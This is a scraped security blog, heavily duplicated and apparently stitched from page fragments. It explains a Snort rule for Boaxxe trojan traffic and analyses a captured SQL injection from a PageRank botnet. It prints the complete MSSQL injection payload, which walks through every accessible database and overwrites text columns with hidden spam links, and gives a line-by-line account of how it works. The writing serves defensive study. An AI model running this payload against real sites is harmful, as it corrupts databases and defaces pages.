NOTE3: The original script had a bunch of colons (:) which allows VBS scripts to write multiple commands on the same line. I removed them just to make it more readable again.
More about neonprimetime
Top Blogs of all-time
- ali.txt php injection walk-thru
- pagerank botnet sql injection walk-thru
- apache struts2 rce walk-thru
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Friday, November 13, 2015
Win.Trojan.Boaxxe Snort Rule
Quick little run down of a Boaxxe Snort rule and why it fired. Hopefully it's useful for those researching Boaxxe as well as for those just trying to understand Snort rules. Sample pasted here.
Let's say an end user navigates to this url.
GET http://lax1.ib.adnxs.com/vevent?e=wqT_3QLhBPB-WAIAAAIA1gAFCMyakrIFEJDU8s2rh9LdRRiJzZngzonb7EggASotCVQax2dnmSRAETXuzW-YICJAGQAAAAAAAFBAIYKGd6JWSkZAKdoYn7h5VElAMNie3gE4ywNAhhNIAlCiiY4RWLKuH2AAaMDIAXi55wOAAQGKAQNVU0SSAQEG8FqYAawCoAH6AagBAbABALgBAsABBcgBANABANgBAOABAPABAPoBBTM2MzIwigJYdWYoJ2EnLCAzNjE0NDIsIDE0NDczMzMxOTcpO3VmKCdjJywgMTA2MzA4MDEsQh4AAHIBOhw1ODgyMTQ2LDIeAPCNkgLBASF5Q3NKV3dpUjdZZ0ZFS0tKamhFWUFDQ3lyaDh3QURnQVFBQkloaE5RMko3ZUFWZ0FZT2tEYUFCd0JuaUlRWUFCQ0lnQmlFR1FBUUdZQVFHZ0FRR29BUU93QVFDNUFkb1luN2g1VkVsQXdRSGFHSi00ZVZSSlFNa0IwMkVvZGhBMjhEX1pBUUFBQQEDZFBBXzRBSEY3UTdxQVFjeU5EazRNelkyOVFFAR58QWdBSUJpQUstdnBnQmtBSUJtQUlLmgIdIXBRVkVOUWkyxADwenNxNGZJQUEu2AKVBOAC24Qd6gIkaHR0cDovL215LnhmaW5pdHkuY29tLz9jaWQ9Y3VzdCZ0cz0zgAMAiAMBkAPdqwOYAwygAwGqAwCwAwC4AwDAA6wCyAMA2APmllbgAwDoAwDwAwD4AwOABACSBAgvcnViaWNvbpgEAA..&s=ef52c870b9d5df7c528b188c673193e6a6cb7d3d&referrer=http%3A%2F%2Fmy.xfinity.com%2F%3Fcid%3Dcust%26ts%3D3&type=nv&nvt=5&bw=0&bh=0&sw=1536&sh=864&pw=1536&ph=3662&ww=1519&wh=719&ft=2&sv=27&tv=view5-1&ua=ie9&pl=win&x=1447333198455830943,279999,v,win,ie9,view5-1,0,,2 HTTP/1.1
Accept: */*
Origin: http://my.xfinity.com
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lax1.ib.adnxs.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
And this snort rule triggered on your IDS. You might ask why?
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Win.Trojan.Boaxxe variant outbound connection"; flow:to_server,established; urilen:485<>520; content:!"/"; offset:1; http_raw_uri; content:!"."; http_uri; content:"%2f"; http_raw_uri; content:"%2b"; http_raw_uri; content:"|20|MSIE|20|"; fast_pattern:only; http_header; content:!"Referer:"; http_header; metadata:impact_flag red, service http; reference:url,www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf; classtype:trojan-activity; sid:30495; rev:1; )
Let's pick it apart below.
tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS
flow:to_server,established;
It must be tcp traffic. It must be from your internal network outbound. It must be web ports (80, 443, etc.). It must be an established connection to server (same as from client). Yep all those match so far.
urilen:485<>520;
Must be a very long url (between 485 and 520 characters). Yep.
content:!"/"; offset:1; http_raw_uri;
Must not contain a / (essentially a sub folder in the url).. Yep still good.
content:!"."; http_uri;
Must not contain a . (essentially a file extension like .php, .aspx, etc. in the url). Yep still good.
content:"%2f"; http_raw_uri;
Must contain an html encoded / (written exactly as %2f). Yep still good.
content:"%2b"; http_raw_uri;
Must contain an html encoded + (written exactly as %2b). Yep still good.
content:"|20|MSIE|20|"; fast_pattern:only; http_header;
Must contain MSIE in the header. This likely means Internet Explorer in the User Agent. Yep still good.
content:!"Referer:"; http_header;
Must not contain a Referrer in the header. Meaning the user did not click from a different page to this, instead it was a direct call. Yep good.
metadata:impact_flag red, service http;
classtype:trojan-activity;
The rule is over, this is just metadata used by Snort and the IDS to categorize this rule.
reference:url,www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf;
This is amazing documentation for this rule. I wish more snort rule developers would supply good documentation!
sid:30495; rev:1;
This is just a unique id for the snort rule, followed by the revision number. In this case it's the 1st version of this rule.
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Let's say an end user navigates to this url.
GET http://lax1.ib.adnxs.com/vevent?e=wqT_3QLhBPB-WAIAAAIA1gAFCMyakrIFEJDU8s2rh9LdRRiJzZngzonb7EggASotCVQax2dnmSRAETXuzW-YICJAGQAAAAAAAFBAIYKGd6JWSkZAKdoYn7h5VElAMNie3gE4ywNAhhNIAlCiiY4RWLKuH2AAaMDIAXi55wOAAQGKAQNVU0SSAQEG8FqYAawCoAH6AagBAbABALgBAsABBcgBANABANgBAOABAPABAPoBBTM2MzIwigJYdWYoJ2EnLCAzNjE0NDIsIDE0NDczMzMxOTcpO3VmKCdjJywgMTA2MzA4MDEsQh4AAHIBOhw1ODgyMTQ2LDIeAPCNkgLBASF5Q3NKV3dpUjdZZ0ZFS0tKamhFWUFDQ3lyaDh3QURnQVFBQkloaE5RMko3ZUFWZ0FZT2tEYUFCd0JuaUlRWUFCQ0lnQmlFR1FBUUdZQVFHZ0FRR29BUU93QVFDNUFkb1luN2g1VkVsQXdRSGFHSi00ZVZSSlFNa0IwMkVvZGhBMjhEX1pBUUFBQQEDZFBBXzRBSEY3UTdxQVFjeU5EazRNelkyOVFFAR58QWdBSUJpQUstdnBnQmtBSUJtQUlLmgIdIXBRVkVOUWkyxADwenNxNGZJQUEu2AKVBOAC24Qd6gIkaHR0cDovL215LnhmaW5pdHkuY29tLz9jaWQ9Y3VzdCZ0cz0zgAMAiAMBkAPdqwOYAwygAwGqAwCwAwC4AwDAA6wCyAMA2APmllbgAwDoAwDwAwD4AwOABACSBAgvcnViaWNvbpgEAA..&s=ef52c870b9d5df7c528b188c673193e6a6cb7d3d&referrer=http%3A%2F%2Fmy.xfinity.com%2F%3Fcid%3Dcust%26ts%3D3&type=nv&nvt=5&bw=0&bh=0&sw=1536&sh=864&pw=1536&ph=3662&ww=1519&wh=719&ft=2&sv=27&tv=view5-1&ua=ie9&pl=win&x=1447333198455830943,279999,v,win,ie9,view5-1,0,,2 HTTP/1.1
Accept: */*
Origin: http://my.xfinity.com
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: lax1.ib.adnxs.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
And this snort rule triggered on your IDS. You might ask why?
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Win.Trojan.Boaxxe variant outbound connection"; flow:to_server,established; urilen:485<>520; content:!"/"; offset:1; http_raw_uri; content:!"."; http_uri; content:"%2f"; http_raw_uri; content:"%2b"; http_raw_uri; content:"|20|MSIE|20|"; fast_pattern:only; http_header; content:!"Referer:"; http_header; metadata:impact_flag red, service http; reference:url,www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf; classtype:trojan-activity; sid:30495; rev:1; )
Let's pick it apart below.
tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS
flow:to_server,established;
It must be tcp traffic. It must be from your internal network outbound. It must be web ports (80, 443, etc.). It must be an established connection to server (same as from client). Yep all those match so far.
urilen:485<>520;
Must be a very long url (between 485 and 520 characters). Yep.
content:!"/"; offset:1; http_raw_uri;
Must not contain a / (essentially a sub folder in the url).. Yep still good.
content:!"."; http_uri;
Must not contain a . (essentially a file extension like .php, .aspx, etc. in the url). Yep still good.
content:"%2f"; http_raw_uri;
Must contain an html encoded / (written exactly as %2f). Yep still good.
content:"%2b"; http_raw_uri;
Must contain an html encoded + (written exactly as %2b). Yep still good.
content:"|20|MSIE|20|"; fast_pattern:only; http_header;
Must contain MSIE in the header. This likely means Internet Explorer in the User Agent. Yep still good.
content:!"Referer:"; http_header;
Must not contain a Referrer in the header. Meaning the user did not click from a different page to this, instead it was a direct call. Yep good.
metadata:impact_flag red, service http;
classtype:trojan-activity;
The rule is over, this is just metadata used by Snort and the IDS to categorize this rule.
reference:url,www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf;
This is amazing documentation for this rule. I wish more snort rule developers would supply good documentation!
sid:30495; rev:1;
This is just a unique id for the snort rule, followed by the revision number. In this case it's the 1st version of this rule.
More about neonprimetime
Top Blogs of all-time
- ali.txt php injection walk-thru
- pagerank botnet sql injection walk-thru
- apache struts2 rce walk-thru
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, November 12, 2015
PageRank BotNet SQLi Analysis
Below is my line-by-line analysis of a PageRank BotNet SQLi (SQL Injection) attempt. At the end is a nice little Pseduo code summary as well.
First there was an ugly HTTP GET request made to a .NET aspx page. See all the code pasted here.
*********************
GET /page.aspx?id=999');declare%20@b%20cursor;declare%20@s%20varchar(8000);declare%20@w%20varchar(99);set%20@b=cursor%20for%20select%20DB_NAME()%20union%20select%20name%20from%20sys.databases%20where%20(has_dbaccess(name)!=0)%20and%20name%20not%20in%20('master','tempdb','model','msdb',DB_NAME());open%20@b;fetch%20next%20from%20@b%20into%20@w;while%20@@FETCH_STATUS=0%20begin%20set%20@s='begin%20try%20use%20'%2B@w%2B';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20''update%20%5B''%2BTABLE_NAME%2B''%5D%20set%20%5B''%2BCOLUMN_NAME%2B''%5D=%5B''%2BCOLUMN_NAME%2B''%5D%2Bcase%20ABS(CHECKSUM(NewId()))%2510%20when%200%20then%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''group%20sex%20stories%20with%20pictures%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''www.ohiovalleyrestoration.com''%2Bchar(47)%2B''blog''%2Bchar(47)%2B''template''%2Bchar(47)%2B''page''%2Bchar(47)%2B''moms-sex-stories.aspx%22''%2Bchar(62)%2B''''''%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''''stories%20of%20sex''''%20when%201%20then%20''''ohiovalleyrestoration.com''''%20else%20''''read''''%20end%20%2B''''''%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20hot%20hot%20interracial%20sex%20stories''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''''%20else%20''''''''%20end''%20FROM%20sysin dexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid%20in%20(0,1))%20and%20DATA_TYPE%20like%20''%25varchar''%20and(CHARACTER_MAXIMUM_LENGTH%20in%20(2147483647,-1));open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c%20end%20try%20begin%20catch%20end%20catch';exec%20(@s);fetch%20next%20from%20@b%20into%20@w;end;close%20@b--
*********************
If you URL decode it you get something a bit more readable.
*********************
GET /page.aspx?id=999');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''group sex stories with pictures ''+char(60)+''a href="http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories of sex'''' when 1 then ''''ohiovalleyrestoration.com'''' else ''''read'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' hot hot interracial sex stories''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
*********************
Then if you add some spacing and identification you get something we can talk about.
*********************
');
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('
master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] +
case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';
exec (@s);
fetch next from @b into @w;
end;
close @b--
*********************
Now let's do a line by line review of this attack.
');
This is where the SQL injection actually starts. If some developer didn't used prepared statements or forgot to sanitize apostrophes, let the fun begin. The attacker can now end the current statement and start a new one of his own. An attack could now potentially pass a huge ugly collection of SQL statements into the .NET website as a parameter, and the C# or VB.NET code behind might simply pass this code directly to the Microsoft SQL Server database and execute it as-is. If so, that could spell the end of your database and your server as it'll quickly be owned by the attacker.
*********************
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
*********************
The above lines are the start of a collection of Microsoft SQL statements. If you're a developer or DBA, you might see stuff like this in a Stored Procedure for example. In the above 3 lines, they're declaring 3 variables 1.) @b as a cursor which allows the attacker to iterate through the results of his first query on your database 2.) @s as a large string which will eventually hold the actual query they want to run on your database 3.) @w as something to hold the database name he's going to attack later on.
*********************
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin
*********************
The attacker is going to run his first query on your database and iterate through the results with @b. The first thing the attacker does is figure out what databases he actually has access to (since he probably knows next to nothing about who you are, what server he's on, who owns it, what it's name is, etc.). He actually probably doesn't care about the answer to most of those questions, he just needs to know which databases he has access to so he can run the next set of queries below. Think of it as getting dropped into a dark room without lights. You're in, but you don't know where. First thing you're going to do is scratch around the wall for a light switch to see which room you're actually in. Think of this as a loop, for each database I have access to run some commands against it. Each time through the loop the database name gets saved in @w.
*********************
set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);
*********************
Next the attacker is getting ready to nest cursors and run a 2nd query against each database he has access to. The first thing he has to do is tell SQL to use the database name stored in @w. Now that he's in that database, he is going to declare 2 new variables. 1.) @c is a cursor that will allow him to iterate through the results of the next query 2.) @d is a large string that will store an update SQL statement he's generating and going to run against your database.
*********************
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] + case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
*********************
Now for the payload, or the thing that makes this SQL injection unique. He's running a select (read) query against the database he's currently in (remember he's going to do this for every database he has access to). The SQL statement is looking thru every table in that databases (using system tables like sysindexs and sysobjects). For each table it's looking for all fields that are of type string (DATA_TYPE like '%varchar) and have a certain max length that will fit the data he wants in it. Then he's returning a row for each one of those table/column combinations that will be used below to actually overwrite that column with a new value that he's supplying. In this case it's a hyperlink (<a href) to a website/page that he wants to skyrocket in the Google search results. The idea is that hopefully some of these columns get displayed back out on the website and this will generate a bunch of links back to the evil site causing Google search bot to get all excited and happy that the site has so many links referencing it, thus thinking it's important, and thus skyrocketing it to the top of the search results.
*********************
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin
*********************
The query is run, each row/result is a SQL update statement saved the into @d variable.
*********************
exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';
*********************
The update statement @d is actually executed against the current database we're in, essentially overwriting every large string (varchar) column with these hyperlinks.
*********************
exec (@s);
*********************
It's nested cursors, so this exec statement against the first cursor (@s) is what actually calls that 2nd cursor (@d) and runs all the statements.
*********************
fetch next from @b into @w;
end;
close @b--
*********************
Then the cursors are closed/cleaned up. Notice the -- at the end, that is standard SQL Injection, to ensure that the remainder of whatever was supposed to run is commented out.
Since the above code, even when broke out and explained, it pretty complex, I thought I'd write some simpler Psuedo Code below to summarize it.
*********************
for-each Database 'db' I have access to
for-each Table 'tb' in the 'db'
for-each Column 'c1' in the 'tb'
if c1 is a large varchar
overwrite c1 with my hyperlink
*********************
If you want to learn more about SQL Injection check owasp. If you want an example of a tool to prevent SQL Injection in Microsoft .NET code try the WPL (Web Protection Library).
More about neonprimetime
Top Blogs of all-time
Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.
First there was an ugly HTTP GET request made to a .NET aspx page. See all the code pasted here.
*********************
GET /page.aspx?id=999');declare%20@b%20cursor;declare%20@s%20varchar(8000);declare%20@w%20varchar(99);set%20@b=cursor%20for%20select%20DB_NAME()%20union%20select%20name%20from%20sys.databases%20where%20(has_dbaccess(name)!=0)%20and%20name%20not%20in%20('master','tempdb','model','msdb',DB_NAME());open%20@b;fetch%20next%20from%20@b%20into%20@w;while%20@@FETCH_STATUS=0%20begin%20set%20@s='begin%20try%20use%20'%2B@w%2B';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20''update%20%5B''%2BTABLE_NAME%2B''%5D%20set%20%5B''%2BCOLUMN_NAME%2B''%5D=%5B''%2BCOLUMN_NAME%2B''%5D%2Bcase%20ABS(CHECKSUM(NewId()))%2510%20when%200%20then%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''group%20sex%20stories%20with%20pictures%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''www.ohiovalleyrestoration.com''%2Bchar(47)%2B''blog''%2Bchar(47)%2B''template''%2Bchar(47)%2B''page''%2Bchar(47)%2B''moms-sex-stories.aspx%22''%2Bchar(62)%2B''''''%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''''stories%20of%20sex''''%20when%201%20then%20''''ohiovalleyrestoration.com''''%20else%20''''read''''%20end%20%2B''''''%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20hot%20hot%20interracial%20sex%20stories''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''''%20else%20''''''''%20end''%20FROM%20sysin dexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid%20in%20(0,1))%20and%20DATA_TYPE%20like%20''%25varchar''%20and(CHARACTER_MAXIMUM_LENGTH%20in%20(2147483647,-1));open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c%20end%20try%20begin%20catch%20end%20catch';exec%20(@s);fetch%20next%20from%20@b%20into%20@w;end;close%20@b--
*********************
If you URL decode it you get something a bit more readable.
*********************
GET /page.aspx?id=999');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''group sex stories with pictures ''+char(60)+''a href="http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories of sex'''' when 1 then ''''ohiovalleyrestoration.com'''' else ''''read'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' hot hot interracial sex stories''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
*********************
Then if you add some spacing and identification you get something we can talk about.
*********************
');
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('
master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] +
case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';
exec (@s);
fetch next from @b into @w;
end;
close @b--
*********************
Now let's do a line by line review of this attack.
');
This is where the SQL injection actually starts. If some developer didn't used prepared statements or forgot to sanitize apostrophes, let the fun begin. The attacker can now end the current statement and start a new one of his own. An attack could now potentially pass a huge ugly collection of SQL statements into the .NET website as a parameter, and the C# or VB.NET code behind might simply pass this code directly to the Microsoft SQL Server database and execute it as-is. If so, that could spell the end of your database and your server as it'll quickly be owned by the attacker.
*********************
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
*********************
The above lines are the start of a collection of Microsoft SQL statements. If you're a developer or DBA, you might see stuff like this in a Stored Procedure for example. In the above 3 lines, they're declaring 3 variables 1.) @b as a cursor which allows the attacker to iterate through the results of his first query on your database 2.) @s as a large string which will eventually hold the actual query they want to run on your database 3.) @w as something to hold the database name he's going to attack later on.
*********************
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin
*********************
The attacker is going to run his first query on your database and iterate through the results with @b. The first thing the attacker does is figure out what databases he actually has access to (since he probably knows next to nothing about who you are, what server he's on, who owns it, what it's name is, etc.). He actually probably doesn't care about the answer to most of those questions, he just needs to know which databases he has access to so he can run the next set of queries below. Think of it as getting dropped into a dark room without lights. You're in, but you don't know where. First thing you're going to do is scratch around the wall for a light switch to see which room you're actually in. Think of this as a loop, for each database I have access to run some commands against it. Each time through the loop the database name gets saved in @w.
*********************
set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);
*********************
Next the attacker is getting ready to nest cursors and run a 2nd query against each database he has access to. The first thing he has to do is tell SQL to use the database name stored in @w. Now that he's in that database, he is going to declare 2 new variables. 1.) @c is a cursor that will allow him to iterate through the results of the next query 2.) @d is a large string that will store an update SQL statement he's generating and going to run against your database.
*********************
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] + case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
*********************
Now for the payload, or the thing that makes this SQL injection unique. He's running a select (read) query against the database he's currently in (remember he's going to do this for every database he has access to). The SQL statement is looking thru every table in that databases (using system tables like sysindexs and sysobjects). For each table it's looking for all fields that are of type string (DATA_TYPE like '%varchar) and have a certain max length that will fit the data he wants in it. Then he's returning a row for each one of those table/column combinations that will be used below to actually overwrite that column with a new value that he's supplying. In this case it's a hyperlink (<a href) to a website/page that he wants to skyrocket in the Google search results. The idea is that hopefully some of these columns get displayed back out on the website and this will generate a bunch of links back to the evil site causing Google search bot to get all excited and happy that the site has so many links referencing it, thus thinking it's important, and thus skyrocketing it to the top of the search results.
*********************
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin
*********************
The query is run, each row/result is a SQL update statement saved the into @d variable.
*********************
exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';
*********************
The update statement @d is actually executed against the current database we're in, essentially overwriting every large string (varchar) column with these hyperlinks.
*********************
exec (@s);
*********************
It's nested cursors, so this exec statement against the first cursor (@s) is what actually calls that 2nd cursor (@d) and runs all the statements.
*********************
fetch next from @b into @w;
end;
close @b--
*********************
Then the cursors are closed/cleaned up. Notice the -- at the end, that is standard SQL Injection, to ensure that the remainder of whatever was supposed to run is commented out.
Since the above code, even when broke out and explained, it pretty complex, I thought I'd write some simpler Psuedo Code below to summarize it.
*********************
for-each Database 'db' I have access to
for-each Table 'tb' in the 'db'
for-each Column 'c1' in the 'tb'
